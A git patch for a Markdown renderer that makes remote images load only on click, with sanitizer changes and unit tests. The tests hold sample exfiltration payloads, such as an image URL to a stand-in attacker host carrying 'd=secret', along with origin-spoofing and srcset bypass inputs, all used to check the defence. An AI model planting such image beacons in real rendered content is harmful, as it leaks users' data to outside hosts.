From 85bcf6d031386c5dcf3435fe1a1f6b0abf4f9a61 Mon Sep 17 00:00:00 2001 From: Adam Malczewski Date: Wed, 21 Oct 2026 01:10:55 +0900 Subject: fix(review-2.7): require clicks to load remote Markdown images --- src/features/markdown/logic/markdown.test.ts | 79 +++++++++++++++++++++++++--- src/features/markdown/logic/markdown.ts | 64 +++++++++++++++------- src/features/markdown/ui/Markdown.svelte | 27 ++++++++-- src/features/markdown/ui/markdown.test.ts | 39 ++++++++++++++ 4 files changed, 179 insertions(+), 30 deletions(-) (limited to 'src/features') diff --git a/src/features/markdown/logic/markdown.test.ts b/src/features/markdown/logic/markdown.test.ts index 61d0d0c..320a5f3 100644 --- a/src/features/markdown/logic/markdown.test.ts +++ b/src/features/markdown/logic/markdown.test.ts @@ -103,6 +103,77 @@ describe("renderMarkdown", () => { expect(renderMarkdown("")).toBe(""); }); + describe("remote images require consent", () => { + const image = { apiBase: "http://localhost:24203", cwd: "/work" }; + + it.each([ + "![secret](https://evil.example/pixel?d=secret)", + "![secret](http://evil.example/pixel)", + "![secret](//evil.example/pixel)", + '', + '', + '', + '', + ])("replaces %s with an inert, host-labelled button", (text) => { + const doc = new DOMParser().parseFromString(renderMarkdown(text, { image }), "text/html"); + expect(doc.querySelector("img")).toBeNull(); + const button = doc.querySelector("button.remote-image"); + expect(button?.textContent).toBe("Load image from evil.example"); + expect(button?.getAttribute("type")).toBe("button"); + expect(button?.getAttribute("data-src")).toMatch(/^https?:\/\/evil\.example\//); + expect(button?.hasAttribute("onerror")).toBe(false); + }); + + it.each([ + "/local-image?path=%2Ftmp%2Fa.png", + "data:image/png;base64,iVBORw0KGgo=", + `${window.location.origin}/image.png`, + "http://localhost:24203/images/conversation/image.png", + ])("keeps trusted image %s", (src) => { + expect(imageSrc(renderMarkdown(``, { image }))).toBe(src); + }); + + it("compares exact origins, not hostname prefixes or URL credentials", () => { + for (const src of [ + "http://localhost:24203.evil.example/a.png", + "http://localhost:24203@evil.example/a.png", + "http://localhost:24206/a.png", + "https://localhost:24203/a.png", + ]) { + expect(imageSrc(renderMarkdown(``, { image }))).toBeNull(); + } + }); + + it("does not leak a backend allowlist between renders", () => { + const text = "![pic](http://localhost:24203/a.png)"; + expect(imageSrc(renderMarkdown(text, { image }))).not.toBeNull(); + expect(imageSrc(renderMarkdown(text))).toBeNull(); + }); + + it("removes responsive image sources so srcset cannot bypass consent", () => { + const html = renderMarkdown( + '', + ); + expect(html).not.toContain("srcset"); + expect(html).not.toContain("evil.example"); + }); + + it("blocks images in streaming tails and settled prefixes too", () => { + const state = createStreamingMarkdown(); + const text = "![pic](https://evil.example/pixel)"; + expect(imageSrc(renderMarkdownTail(text))).toBeNull(); + expect(advance(state, text).tailHtml).toContain("remote-image"); + const settled = advance(state, `${text}\n\nafter\n`); + expect(settled.prefixHtml).toContain("remote-image"); + expect(imageSrc(settled.prefixHtml)).toBeNull(); + }); + + it("does not affect other DOMPurify consumers", async () => { + const { default: purify } = await import("dompurify"); + expect(imageSrc(purify.sanitize(''))).not.toBeNull(); + }); + }); + describe("local-path images", () => { const BASE = "http://localhost:24203"; const image = { apiBase: BASE, cwd: "/w/foo" }; @@ -141,13 +212,7 @@ describe("renderMarkdown", () => { expect(imageSrc(renderMarkdown("![shot](shot.png)"))).toBe("shot.png"); }); - it("leaves remote http(s) and data: images untouched", () => { - expect(imageSrc(renderMarkdown("![remote](https://example.com/a.png)", { image }))).toBe( - "https://example.com/a.png", - ); - expect(imageSrc(renderMarkdown("![remote](http://example.com/a.png)", { image }))).toBe( - "http://example.com/a.png", - ); + it("leaves data: images untouched", () => { const data = "data:image/png;base64,iVBORw0KGgo="; expect(imageSrc(renderMarkdown(`![inline](${data})`, { image }))).toBe(data); }); diff --git a/src/features/markdown/logic/markdown.ts b/src/features/markdown/logic/markdown.ts index 06e6a78..a65997e 100644 --- a/src/features/markdown/logic/markdown.ts +++ b/src/features/markdown/logic/markdown.ts @@ -186,24 +186,47 @@ function addCopyButtons(html: string): string { } /** - * A DEDICATED DOMPurify instance (not the shared default export) so the - * link hook below only applies to chat Markdown, never to any other sanitizer - * user. Every link opens in a NEW TAB: after DOMPurify has allowlisted the - * attributes, each `` gets `target="_blank"` + `rel="noopener - * noreferrer"` (the opened page can't reach `window.opener` or see a referrer). - * Applied in the hook, so it covers marked links, autolinks, AND raw-HTML - * anchors alike — and the hook overwrites any author-supplied target/rel. + * A dedicated, render-local DOMPurify instance: hooks never affect another + * consumer or retain a conversation's backend allowlist. The document base is + * part of the sanitizer's existing DOM dependency; no location/state is cached. */ -const purify = DOMPurify(); -purify.addHook("afterSanitizeAttributes", (node) => { - if (node.tagName === "A" && node.hasAttribute("href")) { - node.setAttribute("target", "_blank"); - node.setAttribute("rel", "noopener noreferrer"); - } -}); +function sanitize(html: string, image?: MarkdownImageOptions): string { + const purify = DOMPurify(); + const base = document.baseURI; + const origin = new URL(base).origin; + const backendOrigin = image === undefined ? origin : new URL(image.apiBase || base, base).origin; + purify.addHook("afterSanitizeAttributes", (node) => { + if (node.tagName === "A" && node.hasAttribute("href")) { + node.setAttribute("target", "_blank"); + node.setAttribute("rel", "noopener noreferrer"); + } + if (node.tagName !== "IMG") return; + const src = node.getAttribute("src"); + if (src === null) return; + let url: URL; + try { + url = new URL(src, base); + } catch { + node.removeAttribute("src"); + return; + } + if (url.protocol !== "http:" && url.protocol !== "https:") return; + if (url.origin === origin || url.origin === backendOrigin) return; -function sanitize(html: string): string { - return purify.sanitize(html); + // Only safe, inert attributes are carried over. In particular, never copy + // srcset or author event handlers to the image created after consent. + const button = node.ownerDocument.createElement("button"); + button.setAttribute("type", "button"); + button.setAttribute("class", "remote-image btn btn-sm"); + button.setAttribute("data-src", url.href); + button.setAttribute("data-alt", node.getAttribute("alt") ?? ""); + const title = node.getAttribute("title"); + if (title !== null) button.setAttribute("data-title", title); + button.textContent = `Load image from ${url.host}`; + node.parentNode?.replaceChild(button, node); + }); + // Responsive candidates on / must not bypass the src hook. + return purify.sanitize(html, { FORBID_ATTR: ["srcset"] }); } /** @@ -250,8 +273,9 @@ function safeDecode(path: string): string { function rewriteImageSrc(src: string, image: MarkdownImageOptions): string { const trimmed = src.trim(); if (trimmed.length === 0) return src; - // Remote images and inline data URLs already work — never touch them. - if (/^(?:data:|https?:\/\/)/i.test(trimmed)) return src; + // Network-path URLs (including browser-normalized backslashes) are URLs, + // not local filesystem paths. The sanitizer applies the consent policy. + if (/^(?:data:|https?:\/\/)/i.test(trimmed) || /^[/\\]{2}/.test(trimmed)) return src; let path: string; @@ -305,7 +329,7 @@ function parseMarkdown(src: string, image?: MarkdownImageOptions): string { export function renderMarkdown(text: string, opts?: MarkdownRenderOptions): string { const src = opts?.streaming === true ? closeOpenDelimiters(text) : text; try { - return sanitize(addCopyButtons(parseMarkdown(src, opts?.image))); + return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image); } catch { return ""; } @@ -327,7 +351,7 @@ export function renderMarkdownTail( ): string { const src = closeOpenDelimiters(text, seed); try { - return sanitize(addCopyButtons(parseMarkdown(src, opts?.image))); + return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image); } catch { return ""; } diff --git a/src/features/markdown/ui/Markdown.svelte b/src/features/markdown/ui/Markdown.svelte index 0adbbea..a0fd276 100644 --- a/src/features/markdown/ui/Markdown.svelte +++ b/src/features/markdown/ui/Markdown.svelte @@ -14,7 +14,8 @@ * Per-conversation local-image context: the backend HTTP base and the * conversation cwd. Markdown image srcs that are local paths are rewritten * through `${apiBase}/local-image?path=…` (relative paths resolve against - * `cwd`); remote/data URLs are untouched. Omit it to render srcs as-is. + * `cwd`). Remote HTTP(S) images require a click; data, same-origin and + * backend images load inline. Omit it to skip local-path rewriting. */ image?: MarkdownImageOptions; } = $props(); @@ -41,8 +42,8 @@ let container: HTMLElement; - // One delegated listener on the stable container handles every code block's - // copy button — including blocks re-created when the tail html changes + // One delegated listener on the stable container handles image consent and + // every code block's copy button — including blocks re-created when the tail html changes // (streaming), since the listener lives on the container, not the buttons. // Clipboard is the edge effect; absent (insecure context) → no-op. $effect(() => { @@ -52,6 +53,26 @@ const onClick = (event: Event): void => { const target = event.target; if (!(target instanceof Element)) return; + const remote = target.closest("button.remote-image[data-src]"); + if (remote !== null && el.contains(remote)) { + event.preventDefault(); // A Markdown image may be wrapped in a link. + event.stopPropagation(); + // data-* is authorable in raw HTML: validate again at the DOM edge. + let url: URL; + try { + url = new URL(remote.dataset.src ?? ""); + } catch { + return; + } + if (url.protocol !== "http:" && url.protocol !== "https:") return; + const img = el.ownerDocument.createElement("img"); + img.alt = remote.dataset.alt ?? ""; + if (remote.dataset.title !== undefined) img.title = remote.dataset.title; + img.setAttribute("referrerpolicy", "no-referrer"); + img.src = url.href; + remote.replaceWith(img); + return; + } const button = target.closest("[data-copy]"); if (button === null) return; diff --git a/src/features/markdown/ui/markdown.test.ts b/src/features/markdown/ui/markdown.test.ts index 721dddb..149bff5 100644 --- a/src/features/markdown/ui/markdown.test.ts +++ b/src/features/markdown/ui/markdown.test.ts @@ -39,6 +39,45 @@ describe("Markdown", () => { expect(writeText.mock.calls[0]?.[0]).toContain("const x = 1;"); }); + it.each([ + false, + true, + ])("loads only the clicked remote image (streaming=%s)", async (streaming) => { + const { container } = render(Markdown, { + props: { + text: '![first](https://evil.example/a.png "A title")\n\n![second](https://other.example/b.png)', + streaming, + }, + }); + expect(container.querySelector("img")).toBeNull(); + const button = screen.getByRole("button", { name: "Load image from evil.example" }); + await fireEvent.click(button); + const img = container.querySelector("img"); + expect(img?.getAttribute("src")).toBe("https://evil.example/a.png"); + expect(img?.getAttribute("alt")).toBe("first"); + expect(img?.getAttribute("title")).toBe("A title"); + expect(img?.getAttribute("referrerpolicy")).toBe("no-referrer"); + expect( + screen.getByRole("button", { name: "Load image from other.example" }), + ).toBeInTheDocument(); + }); + + it("rejects an unsafe URL in a forged placeholder", async () => { + const { container } = render(Markdown, { + props: { text: '' }, + }); + await fireEvent.click(screen.getByRole("button", { name: "Load" })); + expect(container.querySelector("img")).toBeNull(); + }); + + it("delegates clicks on newly rendered images and prevents linked-image navigation", async () => { + const { container, rerender } = render(Markdown, { props: { text: "start" } }); + await rerender({ text: "[![pic](https://evil.example/a.png)](https://other.example)" }); + const button = screen.getByRole("button", { name: "Load image from evil.example" }); + expect(await fireEvent.click(button)).toBe(false); + expect(container.querySelector("img")?.getAttribute("src")).toBe("https://evil.example/a.png"); + }); + it("non-streaming renders a single container (today's full-render path)", () => { const { container } = render(Markdown, { props: { text: "# Hello" } }); expect(container.querySelector(".markdown-stream-prefix")).toBeNull(); -- cgit v1.2.3